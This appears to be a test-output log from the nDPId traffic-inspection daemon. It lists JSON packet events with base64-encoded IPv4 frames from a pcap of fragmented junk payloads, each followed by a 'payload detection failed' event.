+00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6388,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778120,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6388,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778129,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778139,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778148,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778159,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778171,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778215,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778225,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778234,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778245,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778255,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778265,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778274,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778284,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778294,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778303,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778313,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778322,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778335,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778345,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778354,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778364,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778369,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778382,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778391,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778401,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6414,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778410,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6414,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6415,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778421,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6415,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6416,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778431,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6416,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6417,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778440,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6417,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6418,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778449,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6418,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6419,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778459,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6419,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6420,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778469,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6420,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6421,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778481,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6421,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6422,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778491,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6422,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6423,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778500,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6423,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6424,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778510,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6424,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6425,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778520,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6425,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6426,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778529,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6426,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6427,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778540,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6427,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6428,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778549,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6428,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6429,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778561,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6429,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 